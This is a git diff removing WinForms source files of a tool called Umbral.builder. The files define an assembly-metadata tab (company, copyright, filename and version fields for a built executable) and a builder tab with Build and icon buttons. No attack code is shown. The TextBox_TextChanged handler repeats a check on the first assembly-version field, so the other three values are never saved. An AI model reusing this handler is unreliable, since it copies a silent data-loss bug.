Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.originalFilenameTextField.ForeColor = System.Drawing.Color.Silver; - this.originalFilenameTextField.Location = new System.Drawing.Point(144, 409); - this.originalFilenameTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.originalFilenameTextField.MaxLength = 150; - this.originalFilenameTextField.Name = "originalFilenameTextField"; - this.originalFilenameTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.originalFilenameTextField.Size = new System.Drawing.Size(494, 24); - this.originalFilenameTextField.TabIndex = 19; - this.originalFilenameTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label10.ForeColor = System.Drawing.SystemColors.Control; - this.label10.Location = new System.Drawing.Point(19, 414); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(115, 16); - this.label10.TabIndex = 18; - this.label10.Text = "Original Filename:"; - // - // productVersionTextField2 - // - this.productVersionTextField2.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.productVersionTextField2.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.productVersionTextField2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.productVersionTextField2.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.productVersionTextField2.ForeColor = System.Drawing.Color.Silver; - this.productVersionTextField2.Location = new System.Drawing.Point(183, 237); - this.productVersionTextField2.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.productVersionTextField2.MaxLength = 2; - this.productVersionTextField2.Name = "productVersionTextField2"; - this.productVersionTextField2.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.productVersionTextField2.Size = new System.Drawing.Size(23, 24); - this.productVersionTextField2.TabIndex = 22; - this.productVersionTextField2.Text = "0"; - this.productVersionTextField2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.productVersionTextField2.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label12 - // - this.label12.AutoSize = true; - this.label12.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label12.ForeColor = System.Drawing.SystemColors.Control; - this.label12.Location = new System.Drawing.Point(170, 245); - this.label12.Name = "label12"; - this.label12.Size = new System.Drawing.Size(10, 16); - this.label12.TabIndex = 24; - this.label12.Text = "."; - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label11.ForeColor = System.Drawing.SystemColors.Control; - this.label11.Location = new System.Drawing.Point(209, 245); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(10, 16); - this.label11.TabIndex = 26; - this.label11.Text = "."; - // - // productVersionTextField3 - // - this.productVersionTextField3.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.productVersionTextField3.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.productVersionTextField3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.productVersionTextField3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.productVersionTextField3.ForeColor = System.Drawing.Color.Silver; - this.productVersionTextField3.Location = new System.Drawing.Point(222, 237); - this.productVersionTextField3.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.productVersionTextField3.MaxLength = 2; - this.productVersionTextField3.Name = "productVersionTextField3"; - this.productVersionTextField3.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.productVersionTextField3.Size = new System.Drawing.Size(23, 24); - this.productVersionTextField3.TabIndex = 25; - this.productVersionTextField3.Text = "0"; - this.productVersionTextField3.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.productVersionTextField3.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label13 - // - this.label13.AutoSize = true; - this.label13.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label13.ForeColor = System.Drawing.SystemColors.Control; - this.label13.Location = new System.Drawing.Point(248, 245); - this.label13.Name = "label13"; - this.label13.Size = new System.Drawing.Size(10, 16); - this.label13.TabIndex = 28; - this.label13.Text = "."; - // - // productVersionTextField4 - // - this.productVersionTextField4.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.productVersionTextField4.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.productVersionTextField4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.productVersionTextField4.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.productVersionTextField4.ForeColor = System.Drawing.Color.Silver; - this.productVersionTextField4.Location = new System.Drawing.Point(261, 237); - this.productVersionTextField4.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.productVersionTextField4.MaxLength = 2; - this.productVersionTextField4.Name = "productVersionTextField4"; - this.productVersionTextField4.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.productVersionTextField4.Size = new System.Drawing.Size(23, 24); - this.productVersionTextField4.TabIndex = 27; - this.productVersionTextField4.Text = "0"; - this.productVersionTextField4.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.productVersionTextField4.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label14 - // - this.label14.AutoSize = true; - this.label14.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label14.ForeColor = System.Drawing.SystemColors.Control; - this.label14.Location = new System.Drawing.Point(248, 288); - this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(10, 16); - this.label14.TabIndex = 35; - this.label14.Text = "."; - // - // fileVersionTextField4 - // - this.fileVersionTextField4.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.fileVersionTextField4.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.fileVersionTextField4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.fileVersionTextField4.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fileVersionTextField4.ForeColor = System.Drawing.Color.Silver; - this.fileVersionTextField4.Location = new System.Drawing.Point(261, 280); - this.fileVersionTextField4.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.fileVersionTextField4.MaxLength = 2; - this.fileVersionTextField4.Name = "fileVersionTextField4"; - this.fileVersionTextField4.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.fileVersionTextField4.Size = new System.Drawing.Size(23, 24); - this.fileVersionTextField4.TabIndex = 34; - this.fileVersionTextField4.Text = "0"; - this.fileVersionTextField4.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.fileVersionTextField4.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label15 - // - this.label15.AutoSize = true; - this.label15.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label15.ForeColor = System.Drawing.SystemColors.Control; - this.label15.Location = new System.Drawing.Point(209, 288); - this.label15.Name = "label15"; - this.label15.Size = new System.Drawing.Size(10, 16); - this.label15.TabIndex = 33; - this.label15.Text = "."; - // - // fileVersionTextField3 - // - this.fileVersionTextField3.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.fileVersionTextField3.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.fileVersionTextField3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.fileVersionTextField3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fileVersionTextField3.ForeColor = System.Drawing.Color.Silver; - this.fileVersionTextField3.Location = new System.Drawing.Point(222, 280); - this.fileVersionTextField3.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.fileVersionTextField3.MaxLength = 2; - this.fileVersionTextField3.Name = "fileVersionTextField3"; - this.fileVersionTextField3.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.fileVersionTextField3.Size = new System.Drawing.Size(23, 24); - this.fileVersionTextField3.TabIndex = 32; - this.fileVersionTextField3.Text = "0"; - this.fileVersionTextField3.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.fileVersionTextField3.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label16 - // - this.label16.AutoSize = true; - this.label16.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label16.ForeColor = System.Drawing.SystemColors.Control; - this.label16.Location = new System.Drawing.Point(170, 288); - this.label16.Name = "label16"; - this.label16.Size = new System.Drawing.Size(10, 16); - this.label16.TabIndex = 31; - this.label16.Text = "."; - // - // fileVersionTextField2 - // - this.fileVersionTextField2.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.fileVersionTextField2.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.fileVersionTextField2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.fileVersionTextField2.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fileVersionTextField2.ForeColor = System.Drawing.Color.Silver; - this.fileVersionTextField2.Location = new System.Drawing.Point(183, 280); - this.fileVersionTextField2.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.fileVersionTextField2.MaxLength = 2; - this.fileVersionTextField2.Name = "fileVersionTextField2"; - this.fileVersionTextField2.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.fileVersionTextField2.Size = new System.Drawing.Size(23, 24); - this.fileVersionTextField2.TabIndex = 30; - this.fileVersionTextField2.Text = "0"; - this.fileVersionTextField2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.fileVersionTextField2.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // fileVersionTextField1 - // - this.fileVersionTextField1.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.fileVersionTextField1.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.fileVersionTextField1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.fileVersionTextField1.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fileVersionTextField1.ForeColor = System.Drawing.Color.Silver; - this.fileVersionTextField1.Location = new System.Drawing.Point(144, 280); - this.fileVersionTextField1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.fileVersionTextField1.MaxLength = 2; - this.fileVersionTextField1.Name = "fileVersionTextField1"; - this.fileVersionTextField1.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.fileVersionTextField1.Size = new System.Drawing.Size(23, 24); - this.fileVersionTextField1.TabIndex = 29; - this.fileVersionTextField1.Text = "0"; - this.fileVersionTextField1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.fileVersionTextField1.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label17 - // - this.label17.AutoSize = true; - this.label17.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label17.ForeColor = System.Drawing.SystemColors.Control; - this.label17.Location = new System.Drawing.Point(248, 331); - this.label17.Name = "label17"; - this.label17.Size = new System.Drawing.Size(10, 16); - this.label17.TabIndex = 42; - this.label17.Text = "."; - // - // assemblyVersionTextField4 - // - this.assemblyVersionTextField4.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.assemblyVersionTextField4.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.assemblyVersionTextField4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.assemblyVersionTextField4.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.assemblyVersionTextField4.ForeColor = System.Drawing.Color.Silver; - this.assemblyVersionTextField4.Location = new System.Drawing.Point(261, 323); - this.assemblyVersionTextField4.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.assemblyVersionTextField4.MaxLength = 2; - this.assemblyVersionTextField4.Name = "assemblyVersionTextField4"; - this.assemblyVersionTextField4.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.assemblyVersionTextField4.Size = new System.Drawing.Size(23, 24); - this.assemblyVersionTextField4.TabIndex = 41; - this.assemblyVersionTextField4.Text = "0"; - this.assemblyVersionTextField4.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.assemblyVersionTextField4.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label18 - // - this.label18.AutoSize = true; - this.label18.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label18.ForeColor = System.Drawing.SystemColors.Control; - this.label18.Location = new System.Drawing.Point(209, 331); - this.label18.Name = "label18"; - this.label18.Size = new System.Drawing.Size(10, 16); - this.label18.TabIndex = 40; - this.label18.Text = "."; - // - // assemblyVersionTextField3 - // - this.assemblyVersionTextField3.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.assemblyVersionTextField3.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.assemblyVersionTextField3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.assemblyVersionTextField3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.assemblyVersionTextField3.ForeColor = System.Drawing.Color.Silver; - this.assemblyVersionTextField3.Location = new System.Drawing.Point(222, 323); - this.assemblyVersionTextField3.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.assemblyVersionTextField3.MaxLength = 2; - this.assemblyVersionTextField3.Name = "assemblyVersionTextField3"; - this.assemblyVersionTextField3.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.assemblyVersionTextField3.Size = new System.Drawing.Size(23, 24); - this.assemblyVersionTextField3.TabIndex = 39; - this.assemblyVersionTextField3.Text = "0"; - this.assemblyVersionTextField3.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.assemblyVersionTextField3.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label19 - // - this.label19.AutoSize = true; - this.label19.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label19.ForeColor = System.Drawing.SystemColors.Control; - this.label19.Location = new System.Drawing.Point(170, 331); - this.label19.Name = "label19"; - this.label19.Size = new System.Drawing.Size(10, 16); - this.label19.TabIndex = 38; - this.label19.Text = "."; - // - // assemblyVersionTextField2 - // - this.assemblyVersionTextField2.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.assemblyVersionTextField2.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.assemblyVersionTextField2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.assemblyVersionTextField2.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.assemblyVersionTextField2.ForeColor = System.Drawing.Color.Silver; - this.assemblyVersionTextField2.Location = new System.Drawing.Point(183, 323); - this.assemblyVersionTextField2.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.assemblyVersionTextField2.MaxLength = 2; - this.assemblyVersionTextField2.Name = "assemblyVersionTextField2"; - this.assemblyVersionTextField2.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.assemblyVersionTextField2.Size = new System.Drawing.Size(23, 24); - this.assemblyVersionTextField2.TabIndex = 37; - this.assemblyVersionTextField2.Text = "0"; - this.assemblyVersionTextField2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.assemblyVersionTextField2.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // assemblyVersionTextField1 - // - this.assemblyVersionTextField1.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.assemblyVersionTextField1.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.assemblyVersionTextField1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.assemblyVersionTextField1.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.assemblyVersionTextField1.ForeColor = System.Drawing.Color.Silver; - this.assemblyVersionTextField1.Location = new System.Drawing.Point(144, 323); - this.assemblyVersionTextField1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.assemblyVersionTextField1.MaxLength = 2; - this.assemblyVersionTextField1.Name = "assemblyVersionTextField1"; - this.assemblyVersionTextField1.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.assemblyVersionTextField1.Size = new System.Drawing.Size(23, 24); - this.assemblyVersionTextField1.TabIndex = 36; - this.assemblyVersionTextField1.Text = "0"; - this.assemblyVersionTextField1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.assemblyVersionTextField1.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // AssemblyTab - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.Controls.Add(this.label17); - this.Controls.Add(this.assemblyVersionTextField4); - this.Controls.Add(this.label18); - this.Controls.Add(this.assemblyVersionTextField3); - this.Controls.Add(this.label19); - this.Controls.Add(this.assemblyVersionTextField2); - this.Controls.Add(this.assemblyVersionTextField1); - this.Controls.Add(this.label14); - this.Controls.Add(this.fileVersionTextField4); - this.Controls.Add(this.label15); - this.Controls.Add(this.fileVersionTextField3); - this.Controls.Add(this.label16); - this.Controls.Add(this.fileVersionTextField2); - this.Controls.Add(this.fileVersionTextField1); - this.Controls.Add(this.label13); - this.Controls.Add(this.productVersionTextField4); - this.Controls.Add(this.label11); - this.Controls.Add(this.productVersionTextField3); - this.Controls.Add(this.label12); - this.Controls.Add(this.productVersionTextField2); - this.Controls.Add(this.originalFilenameTextField); - this.Controls.Add(this.label10); - this.Controls.Add(this.internalNameTextField); - this.Controls.Add(this.label7); - this.Controls.Add(this.label8); - this.Controls.Add(this.label9); - this.Controls.Add(this.productVersionTextField1); - this.Controls.Add(this.label4); - this.Controls.Add(this.trademarksTextField); - this.Controls.Add(this.label5); - this.Controls.Add(this.copyrightTextField); - this.Controls.Add(this.label6); - this.Controls.Add(this.productNameTextField); - this.Controls.Add(this.label3); - this.Controls.Add(this.fileDescriptionTextField); - this.Controls.Add(this.label2); - this.Controls.Add(this.companyNameTextField); - this.Controls.Add(this.label1); - this.Name = "AssemblyTab"; - this.Size = new System.Drawing.Size(667, 477); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox companyNameTextField; - private System.Windows.Forms.TextBox fileDescriptionTextField; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox productNameTextField; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TextBox productVersionTextField1; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TextBox trademarksTextField; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox copyrightTextField; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox internalNameTextField; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.TextBox originalFilenameTextField; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.TextBox productVersionTextField2; - private System.Windows.Forms.Label label12; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.TextBox productVersionTextField3; - private System.Windows.Forms.Label label13; - private System.Windows.Forms.TextBox productVersionTextField4; - private System.Windows.Forms.Label label14; - private System.Windows.Forms.TextBox fileVersionTextField4; - private System.Windows.Forms.Label label15; - private System.Windows.Forms.TextBox fileVersionTextField3; - private System.Windows.Forms.Label label16; - private System.Windows.Forms.TextBox fileVersionTextField2; - private System.Windows.Forms.TextBox fileVersionTextField1; - private System.Windows.Forms.Label label17; - private System.Windows.Forms.TextBox assemblyVersionTextField4; - private System.Windows.Forms.Label label18; - private System.Windows.Forms.TextBox assemblyVersionTextField3; - private System.Windows.Forms.Label label19; - private System.Windows.Forms.TextBox assemblyVersionTextField2; - private System.Windows.Forms.TextBox assemblyVersionTextField1; - } -} diff --git a/Umbral.builder/User Controls/AssemblyTab.cs b/Umbral.builder/User Controls/AssemblyTab.cs deleted file mode 100644 index 9e266ae..0000000 --- a/Umbral.builder/User Controls/AssemblyTab.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using System.Linq; -using System.Windows.Forms; - -namespace Umbral.builder.User_Controls -{ - public partial class AssemblyTab : UserControl - { - - public static string CompanyNameInfo; - public static string FileDescriptionInfo; - public static string ProductNameInfo; - public static string LegalCopyrightInfo; - public static string LegalTrademarksInfo; - public static string InternalNameInfo; - public static string OriginalFilenameInfo; - public static int[] ProductVersionInfo; - public static int[] FileVersionInfo; - public static int[] AssemblyVersionInfo; - - static AssemblyTab() - { - ProductVersionInfo = new int[4]; - FileVersionInfo = new int[4]; - AssemblyVersionInfo = new int[4]; - } - - public AssemblyTab() - { - InitializeComponent(); - } - - private void TextBox_TextChanged(object sender, EventArgs e) - { - TextBox textBox = (TextBox)sender; - - if (textBox.Equals(companyNameTextField)) - CompanyNameInfo = textBox.Text; - else if (textBox.Equals(fileDescriptionTextField)) - FileDescriptionInfo = textBox.Text; - else if (textBox.Equals(productNameTextField)) - ProductNameInfo = textBox.Text; - else if (textBox.Equals(copyrightTextField)) - LegalCopyrightInfo = textBox.Text; - else if (textBox.Equals(trademarksTextField)) - LegalTrademarksInfo = textBox.Text; - else if (textBox.Equals(productVersionTextField1)) - ProductVersionInfo[0] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(productVersionTextField2)) - ProductVersionInfo[1] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(productVersionTextField3)) - ProductVersionInfo[2] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(productVersionTextField4)) - ProductVersionInfo[3] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(fileVersionTextField1)) - FileVersionInfo[0] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(fileVersionTextField2)) - FileVersionInfo[1] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(fileVersionTextField3)) - FileVersionInfo[2] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(fileVersionTextField4)) - FileVersionInfo[3] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(assemblyVersionTextField1)) - AssemblyVersionInfo[0] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(assemblyVersionTextField1)) - AssemblyVersionInfo[1] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(assemblyVersionTextField1)) - AssemblyVersionInfo[2] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(assemblyVersionTextField1)) - AssemblyVersionInfo[3] = Convert.ToInt32(textBox.Text); - else if (textBox.Equals(internalNameTextField)) - InternalNameInfo = textBox.Text; - else if (textBox.Equals(originalFilenameTextField)) - OriginalFilenameInfo = textBox.Text; - } - - private void VersionField_TextChanged(object sender, EventArgs e) - { - TextBox textBox = (TextBox)sender; - textBox.Text = new string(textBox.Text.Where(char.IsDigit).ToArray()); - if (string.IsNullOrWhiteSpace(textBox.Text)) - textBox.Text = "0"; - TextBox_TextChanged(sender, e); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/User Controls/AssemblyTab.resx b/Umbral.builder/User Controls/AssemblyTab.resx deleted file mode 100644 index 021e7c2..0000000 --- a/Umbral.builder/User Controls/AssemblyTab.resx +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - \ No newline at end of file diff --git a/Umbral.builder/User Controls/BuilderTab.Designer.cs b/Umbral.builder/User Controls/BuilderTab.Designer.cs deleted file mode 100644 index c5ca752..0000000 --- a/Umbral.builder/User Controls/BuilderTab.Designer.cs +++ /dev/null @@ -1,113 +0,0 @@ -namespace Umbral.builder.User_Controls -{ - partial class BuilderTab - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.label1 = new System.Windows.Forms.Label(); - this.OutputTextBox = new System.Windows.Forms.TextBox(); - this.BuildButton = new System.Windows.Forms.Button(); - this.IconSelectButton = new System.Windows.Forms.Button(); - this.SuspendLayout(); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.SystemColors.Control; - this.label1.Location = new System.Drawing.Point(16, 32); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(52, 16); - this.label1.TabIndex = 0; - this.label1.Text = "Results"; - // - // OutputTextBox - // - this.OutputTextBox.AcceptsReturn = true; - this.OutputTextBox.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(61)))), ((int)(((byte)(61)))), ((int)(((byte)(61))))); - this.OutputTextBox.ForeColor = System.Drawing.Color.Yellow; - this.OutputTextBox.Location = new System.Drawing.Point(19, 51); - this.OutputTextBox.Multiline = true; - this.OutputTextBox.Name = "OutputTextBox"; - this.OutputTextBox.ReadOnly = true; - this.OutputTextBox.Size = new System.Drawing.Size(624, 296); - this.OutputTextBox.TabIndex = 1; - this.OutputTextBox.Text = "Ready..."; - this.OutputTextBox.TextChanged += new System.EventHandler(this.OutputTextBox_TextChanged); - // - // BuildButton - // - this.BuildButton.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.BuildButton.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F); - this.BuildButton.ForeColor = System.Drawing.SystemColors.Control; - this.BuildButton.Location = new System.Drawing.Point(553, 395); - this.BuildButton.Name = "BuildButton"; - this.BuildButton.Size = new System.Drawing.Size(90, 32); - this.BuildButton.TabIndex = 2; - this.BuildButton.Text = "Build"; - this.BuildButton.UseVisualStyleBackColor = true; - this.BuildButton.Click += new System.EventHandler(this.BuildButton_Click); - // - // IconSelectButton - // - this.IconSelectButton.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.IconSelectButton.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F); - this.IconSelectButton.ForeColor = System.Drawing.SystemColors.Control; - this.IconSelectButton.Location = new System.Drawing.Point(421, 395); - this.IconSelectButton.Name = "IconSelectButton"; - this.IconSelectButton.Size = new System.Drawing.Size(114, 32); - this.IconSelectButton.TabIndex = 3; - this.IconSelectButton.Text = "Select Icon"; - this.IconSelectButton.UseVisualStyleBackColor = true; - this.IconSelectButton.Click += new System.EventHandler(this.IconSelectButton_Click); - // - // BuilderTab - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.Controls.Add(this.IconSelectButton); - this.Controls.Add(this.BuildButton); - this.Controls.Add(this.OutputTextBox); - this.Controls.Add(this.label1); - this.ForeColor = System.Drawing.SystemColors.ControlText; - this.Name = "BuilderTab"; - this.Size = new System.Drawing.Size(667, 477); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox OutputTextBox; - private System.Windows.Forms.Button BuildButton; - private System.Windows.Forms.Button IconSelectButton; - } -} diff --git a/Umbral.builder/User Controls/BuilderTab.cs b/Umbral.builder/User 